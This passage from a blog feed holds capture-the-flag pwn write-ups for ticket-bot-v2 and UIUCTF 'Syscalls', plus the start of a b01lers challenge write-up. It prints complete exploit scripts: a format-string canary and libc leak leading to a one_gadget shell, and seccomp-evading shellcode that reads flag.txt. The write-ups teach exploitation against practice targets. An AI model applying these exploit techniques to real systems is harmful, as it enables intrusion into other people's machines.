<span class="c1"># Get the libc leak (write() + 23)
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">password</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%3$p'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>
<span class="n">libc_write</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="mi">12</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc_write</span> <span class="o">-</span> <span class="mi">23</span><span class="p">)</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">write</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
</code></pre></div></div>
<p>Now that we’ve got everything, we can send in the final exploit chain. We can use the <code class="language-plaintext highlighter-rouge">one_gadget</code> tool on the provided libc to grab the offset of a <code class="language-plaintext highlighter-rouge">one_gadget</code>
that works and then send in our payload. And voila, we get a shell! Full script is as follows.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chal_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"libc.so.6"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="c1">#p = elf.process()
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"ticket-bot-v2.challs.csc.tf"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'here:</span><span class="se">\n</span><span class="s">'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>

<span class="c1"># Make 5 tickets
</span><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>

<span class="c1"># View ticket/leak
</span><span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'5'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'idk'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">9</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">password</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%7$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>
<span class="n">canary</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="mi">16</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Canary = </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">canary</span><span class="p">)</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">password</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'%3$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)</span>
<span class="n">libc_write</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()[:</span><span class="mi">12</span><span class="p">],</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="p">(</span><span class="n">libc_write</span> <span class="o">-</span> <span class="mi">23</span><span class="p">)</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">.</span><span class="n">write</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">password</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>

<span class="n">one_gadget</span> <span class="o">=</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0xe3b01</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'a'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">canary</span><span class="p">,</span>
    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">one_gadget</span>
<span class="p">])</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1"># CSCTF{4rr4ys_4nd_th3re_1nd3x3s_h4ndl3_w1th_c4r3}
</span></code></pre></div></div>
<p>A fun challenge! Credit to my teammate <code class="language-plaintext highlighter-rouge">@athryx</code> for first spotting a potential vulnerability. It was a bit challenging to get a libc leak as the 4 byte buffer
only allowed single digit offsets, <code class="language-plaintext highlighter-rouge">%9$p</code> was the highest I could go, but we got the job done.</p>

<h1 id="things-learned-in-this-ctf">Things Learned in this CTF</h1>
<ol>
  <li>There is a such a thing as a <code class="language-plaintext highlighter-rouge">ret2dlresolve</code> technique??!
    <ol>
      <li><a href="https://ir0nstone.gitbook.io/notes/binexp/stack/ret2dlresolve">https://ir0nstone.gitbook.io</a></li>
      <li>Basically, we fake an entry in the PLT to trick the program into resolving a symbol of our choosing. Then, we can 
 call that symbol. So, we could trick the PLT into resolving something like system! Cool! This was one of the techniques
 used on the <code class="language-plaintext highlighter-rouge">ezrop</code> challenge</li>
    </ol>
  </li>
  <li>There is a such a thing as an <code class="language-plaintext highlighter-rouge">openat2</code> syscall!
    <ol>
      <li>I guess when seccomp is a bit too harsh. That was part of the intended solution for <code class="language-plaintext highlighter-rouge">menu</code>, which was…</li>
      <li>Leak libc with <code class="language-plaintext highlighter-rouge">puts()</code>, then use ROP again to mprotect a region as executable, then send in shellcode.</li>
      <li>Plus, a cool syscall table website! <a href="https://syscalls.mebeim.net/?table=x86/64/x64/latest">https://syscalls.mebeim.net/?table=x86/64/x64/latest</a></li>
      <li>Additionally, this challenge used a technique where you could use leftover pointers to leak libc if you didn’t have a <code class="language-plaintext highlighter-rouge">pop rdi</code> gadget.
        <ol>
          <li>Basically, when <code class="language-plaintext highlighter-rouge">printf</code> is called, it leaves a pointer to <code class="language-plaintext highlighter-rouge">__funlockfile</code> in <code class="language-plaintext highlighter-rouge">rdi</code> when it returns. So you can simply call <code class="language-plaintext highlighter-rouge">printf</code> and and then <code class="language-plaintext highlighter-rouge">puts</code> to print out that pointer left in <code class="language-plaintext highlighter-rouge">rdi</code>. And then you have a libc leak! Apparently this exists in the newer libc versions (&gt;= 2.34). The reasoning behind why this might occur can be seen here in this article <a href="https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets">https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets</a>. Thanks to users in the CyberSpace CTF 2024 discord for discussing this technique!</li>
        </ol>
      </li>
    </ol>
  </li>
</ol>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="b01lers" /><summary type="html"><![CDATA[Another weekend, another CTF. This weekend it was the first iteration of CyberSpace CTF and I played with b01lers. Despite some early infra issues, I enjoyed playing. I contributed to the solves of a few additional challenges, but I plan on writing up ticket-bot-v2 and shelltester-v2, which I primarily worked on. 656e6a6f79!]]></summary></entry><entry><title type="html">UIUCTF 2024 - Syscalls</title><link href="https://gabri3l.net/UIUCTF-2024-syscalls/" rel="alternate" type="text/html" title="UIUCTF 2024 - Syscalls" /><published>2024-07-11T00:00:00+07:00</published><updated>2024-07-11T00:00:00+07:00</updated><id>https://gabri3l.net/UIUCTF-2024-syscalls</id><content type="html" xml:base="https://gabri3l.net/UIUCTF-2024-syscalls/"><![CDATA[<p>A couple weekends ago I played UIUCTF 2024 with b01lers. As always, the folks at UIUC and sigpwny put on a great CTF! The theme was super cool and the challenges were very interesting. I solved <code class="language-plaintext highlighter-rouge">Backup Power</code> and <code class="language-plaintext highlighter-rouge">Syscalls</code>; the write-up for <code class="language-plaintext highlighter-rouge">Syscalls</code> is below.</p>

<h1 id="syscalls--pwn">Syscalls | pwn</h1>

<p>This challenge was pretty straightforward. Upon analyzing the binary, we find a main function as seen below.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="n">buffer</span> <span class="p">[</span><span class="mi">184</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">local_10</span><span class="p">;</span>
  
  <span class="n">local_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">vuln</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
  <span class="n">meat_and_potatoes</span><span class="p">();</span>
  <span class="n">exec</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Some buffering is set up so that we can interact over <code class="language-plaintext highlighter-rouge">nc</code> and then the first notable function, <code class="language-plaintext highlighter-rouge">vuln()</code>, is called. This function simply takes in 176 bytes over 
stdin and places them in <code class="language-plaintext highlighter-rouge">buffer</code>. No overflow but as we’ll come to find out later that doesn’t matter.</p>

<p>Next, the aptly named function, <code class="language-plaintext highlighter-rouge">mean_and_potatoes()</code>, is called. Inside it, it uses a couple calls to the function <code class="language-plaintext highlighter-rouge">prctl()</code> to first set some “capabilities”. I 
had never seen this function before, so the man pages and the source code in <code class="language-plaintext highlighter-rouge">prctl.h</code> helped me figure out what it was doing. Here are some links for reference:</p>
<ol>
  <li>https://linux.die.net/man/2/prctl</li>
  <li>https://github.com/torvalds/linux/blob/master/include/uapi/linux/prctl.h</li>
</ol>

<p>Below is the bottom bit of the <code class="language-plaintext highlighter-rouge">meat_and_potatoes()</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">prctl</span><span class="p">(</span><span class="mi">38</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="n">prctl</span><span class="p">(</span><span class="mi">22</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">local_e8</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">iVar1</span><span class="p">;</span>
<span class="err">}</span>
</code></pre></div></div>
<p>The first call to <code class="language-plaintext highlighter-rouge">prctl()</code> enables <code class="language-plaintext highlighter-rouge">PR_SET_NO_NEW_PRIVS</code> which ensures no elevated privileges are granted to the process. The next call will enable SECCOMP in 
filter mode. With SECCOMP enabled we will be restricted in what syscalls this program can make. The BPF filter is set up on the stack in the beginning of this
function and it took me a bit to figure out what it was at first. The last argument to the second call to <code class="language-plaintext highlighter-rouge">prtctl()</code> points to the BPF filter.</p>

<p>Before we dive into what syscalls are filtered lets look at the last notable function called in <code class="language-plaintext highlighter-rouge">main()</code>, <code class="language-plaintext highlighter-rouge">exec()</code>. This function will simply execute any shellcode 
placed in <code class="language-plaintext highlighter-rouge">buffer</code> which we control. So, our objective will be to write some shellcode that gets around the SECCOMP filters and prints out the flag.</p>

<p>Using the nifty tool <code class="language-plaintext highlighter-rouge">seccomp-tools</code> we can turn the SECCOMP BPF filter into something human readable. After dumping the filter, my teammate <code class="language-plaintext highlighter-rouge">@athryx</code> helped me 
analyze it and come up with an exploit. The filter can be seen below.</p>

<p><img src="filter-dump.png" alt="" /></p>

<p>Looking above we can see that some notable syscalls, <code class="language-plaintext highlighter-rouge">read</code>, <code class="language-plaintext highlighter-rouge">write</code>, <code class="language-plaintext highlighter-rouge">open</code>, <code class="language-plaintext highlighter-rouge">execve</code>, <code class="language-plaintext highlighter-rouge">exevveat</code>, are banned. Also, <code class="language-plaintext highlighter-rouge">writev</code> will block File Descriptors (FDs)
below <code class="language-plaintext highlighter-rouge">0x3e8</code>.  How unfortunate. Nevertheless, let’s walk through each section of shellcode in the final exploit.</p>

<p>The first bit:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">push</span> <span class="mi">1</span>
<span class="n">dec</span> <span class="n">byte</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span><span class="p">]</span>
<span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x7478742e67616c66</span>
<span class="n">push</span> <span class="n">rax</span>
<span class="n">push</span> <span class="mi">257</span>
<span class="n">pop</span> <span class="n">rax</span>
<span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>
<span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x64</span>
<span class="n">xor</span> <span class="n">rdx</span><span class="p">,</span> <span class="n">rdx</span>
<span class="n">syscall</span>
<span class="n">mov</span> <span class="n">r11</span><span class="p">,</span> <span class="n">rax</span>
</code></pre></div></div>

<p>Here, we’ll push the string <code class="language-plaintext highlighter-rouge">flag.txt</code> onto the stack, get a stack pointer to it, and eventually place that stack pointer into <code class="language-plaintext highlighter-rouge">rsi</code>. We’ll then set up a call to 
the <code class="language-plaintext highlighter-rouge">openat</code> syscall to try and get an open FD to the file <code class="language-plaintext highlighter-rouge">flag.txt</code>. <code class="language-plaintext highlighter-rouge">openat</code> will open a FD relative to a directory, so we can place the special value <code class="language-plaintext highlighter-rouge">-0x64</code> as
the first arg in <code class="language-plaintext highlighter-rouge">rdi</code> so that <code class="language-plaintext highlighter-rouge">openat</code> will look at the current directory for the file. Then, we’ll place our stack pointer to <code class="language-plaintext highlighter-rouge">flag.txt</code> into <code class="language-plaintext highlighter-rouge">rsi</code>, set <code class="language-plaintext highlighter-rouge">rdx</code> to 0, then place the resultant FD into <code class="language-plaintext highlighter-rouge">r11</code> for use later.</p>

<p>The second bit:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">9</span>
<span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="mi">0</span>
<span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="mi">100</span>
<span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="mi">1</span><span class="o">|</span><span class="mi">2</span>
<span class="n">mov</span> <span class="n">r10</span><span class="p">,</span> <span class="mi">2</span>
<span class="n">mov</span> <span class="n">r8</span><span class="p">,</span> <span class="n">r11</span>
<span class="n">mov</span> <span class="n">r9</span><span class="p">,</span> <span class="mi">0</span>
<span class="n">syscall</span>
<span class="n">mov</span> <span class="n">r10</span><span class="p">,</span> <span class="n">rax</span>
</code></pre></div></div>

<p>The second bit will use the <code class="language-plaintext highlighter-rouge">mmap</code> syscall to put the contents of <code class="language-plaintext highlighter-rouge">flag.txt</code> into an arbitrary section of memory. In <code class="language-plaintext highlighter-rouge">rdi</code> we’ll place 0 to indicate we want to mmap an arbitrary section of memory and in <code class="language-plaintext highlighter-rouge">rsi</code> we’ll place 100 which is the number of bytes we want to read in (overkill, but whatever). In <code class="language-plaintext highlighter-rouge">rdx</code> we’ll make it so the 
memory page we get is readable and writeable and in <code class="language-plaintext highlighter-rouge">r10</code> we’ll make the mapping private. Finally, the FD will go from <code class="language-plaintext highlighter-rouge">r11</code> into <code class="language-plaintext highlighter-rouge">r8</code> and in <code class="language-plaintext highlighter-rouge">r9</code> we’ll place a 0.</p>

<p>The third bit:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">33</span>
<span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="mi">1</span>
<span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="mh">0x3ea</span>
<span class="n">syscall</span>
</code></pre></div></div>
<p>The third bit we’ll use something super cool called the <code class="language-plaintext highlighter-rouge">dup2</code> syscall. This will let us take one FD and turn it into a different one. Since <code class="language-plaintext highlighter-rouge">writev</code> blocks anything
below <code class="language-plaintext highlighter-rouge">0x3e8</code> and stdout is <code class="language-plaintext highlighter-rouge">1</code>, we can simply change stdout to be something else! Cool, right?! We’ll change it to <code class="language-plaintext highlighter-rouge">0x3ea</code> here.</p>

<p>The final bit:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">push</span> <span class="mi">100</span>
<span class="n">push</span> <span class="n">r10</span>
<span class="n">mov</span> <span class="n">rdi</span><span class="p">,</span> <span class="mh">0x3ea</span>
<span class="n">mov</span> <span class="n">rsi</span><span class="p">,</span> <span class="n">rsp</span>
<span class="n">mov</span> <span class="n">rdx</span><span class="p">,</span> <span class="mi">1</span>
<span class="n">mov</span> <span class="n">rax</span><span class="p">,</span> <span class="mi">20</span>
<span class="n">syscall</span>
</code></pre></div></div>

<p>In the final bit, we’ll first move our new stdout FD into <code class="language-plaintext highlighter-rouge">rdi</code>. Since the second arg of <code class="language-plaintext highlighter-rouge">writev</code> is a pointer to a struct of type <code class="language-plaintext highlighter-rouge">iovec</code>, we’ll need to 
do some finagling. We can just push the values we want in the struct; <code class="language-plaintext highlighter-rouge">100</code> for the size to write and the contents of <code class="language-plaintext highlighter-rouge">r10</code>, the address of the mmapped <code class="language-plaintext highlighter-rouge">flag.txt</code>,
onto the stack. <code class="language-plaintext highlighter-rouge">rsp</code> is used like a pointer and mimics the struct which is placed in <code class="language-plaintext highlighter-rouge">rsi</code>. Finally <code class="language-plaintext highlighter-rouge">1</code> gets thrown in <code class="language-plaintext highlighter-rouge">rdx</code> since we only want to print one buffer.</p>

<p>And that should do it! Once we send this shellcode to the remote server running this challenge we should get the flag printed out! Super fun and interesting 
challenge. Full solve script below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"syscalls"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"syscalls.chal.uiuc.tf"</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="n">shellcode</span> <span class="o">=</span> <span class="s">'''
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
push 257
pop rax
mov rsi, rsp
mov rdi, -0x64
xor rdx, rdx
syscall
mov r11, rax

mov rax, 9
mov rdi, 0
mov rsi, 100
mov rdx, 1|2
mov r10, 2
mov r8, r11
mov r9, 0
syscall
mov r10, rax

mov rax, 33
mov rdi, 1
mov rsi, 0x3ea
syscall

push 100
push r10
mov rdi, 0x3ea
mov rsi, rsp
mov rdx, 1
mov rax, 20
syscall
'''</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">asm</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1"># uiuctf{a532aaf9aaed1fa5906de364a1162e0833c57a0246ab9ffc}
</span></code></pre></div></div>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="b01lers" /><summary type="html"><![CDATA[A couple weekends ago I played UIUCTF 2024 with b01lers. As always, the folks at UIUC and sigpwny put on a great CTF! The theme was super cool and the challenges were very interesting. I solved Backup Power and Syscalls; the write-up for Syscalls is below.]]></summary></entry><entry><title type="html">b01lers CTF 2024</title><link href="https://gabri3l.net/b01lers-CTF-2024/" rel="alternate" type="text/html" title="b01lers CTF 2024" /><published>2024-04-15T00:00:00+07:00</published><updated>2024-04-15T00:00:00+07:00</updated><id>https://gabri3l.net/b01lers-CTF-2024</id><content type="html" xml:base="https://gabri3l.net/b01lers-CTF-2024/"><![CDATA[<p>This past weekend, I had the privilege of hosting b01lers CTF 2024 along with the rest of my team. They are a group of incredible individuals and there is no one I’d rather do it alongside. What follows are write-ups and intended solutions for the three pwn challenges I developed; shall-we-play-a-game, seeing-red, and arm-and-a-leg. Enjoy!</p>

<h1 id="shall-we-play-a-game--pwn">shall-we-play-a-game | pwn</h1>

<p>This challenge was inspired by the classic hacker movie War Games. Movies are a part of the reason I became interested in the computing field and I hoped to share that with participants. As such, this challenge was beginner focused, as everyone deserves a chance to pwn something during a CTF :)</p>

<p>To start, users are given a challenge binary, <code class="language-plaintext highlighter-rouge">chal</code> and the Dockerfile (however this really isn’t needed, it doesn’t depend on a libc or anything). Let’s have a look at what the challenge looks like in ghidra.</p>

<p>Here are the contents of <code class="language-plaintext highlighter-rouge">main()</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">local_b8</span> <span class="p">[</span><span class="mi">48</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">local_88</span> <span class="p">[</span><span class="mi">48</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">local_58</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">local_48</span> <span class="p">[</span><span class="mi">64</span><span class="p">];</span>
  
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"GREETINGS PROFESSOR FALKEN."</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_58</span><span class="p">,</span><span class="mh">0x13</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"HOW ARE YOU FEELING TODAY?"</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_88</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span>
      <span class="s">"EXCELLENT. IT</span><span class="se">\'</span><span class="s">S BEEN A LONG TIME. CAN YOU EXPLAIN THE</span><span class="se">\n</span><span class="s">REMOVAL OF YOUR USER ACCOUNT ON 6/23/ 73?"</span>
      <span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_b8</span><span class="p">,</span><span class="mh">0x23</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"SHALL WE PLAY A GAME?"</span><span class="p">);</span>
  <span class="n">fgets</span><span class="p">(</span><span class="n">local_48</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So we can see it trys to emulate the behavior of the computer that David Lightman (Matthew Broderick) hacks. Within the first few prompts there doesn’t seem to be a problem. However, when asked “SHALL WE PLAY A GAME”, the call to <code class="language-plaintext highlighter-rouge">fgets()</code> takes in way more input that necessary. It stands to reason that we can gain control of the instruction pointer, rip, because there is no canary and PIE is not enabled.</p>

<p><img src="shall-we/shall-we-checksec.png" alt="" /></p>

<p>To demonstrate this, we can open the program in pwndbg and use the <code class="language-plaintext highlighter-rouge">cyclic</code> command to generate a long string and calculate how many chars we will need to gain control.</p>

<p><img src="shall-we/shall-we-crash.png" alt="" /></p>

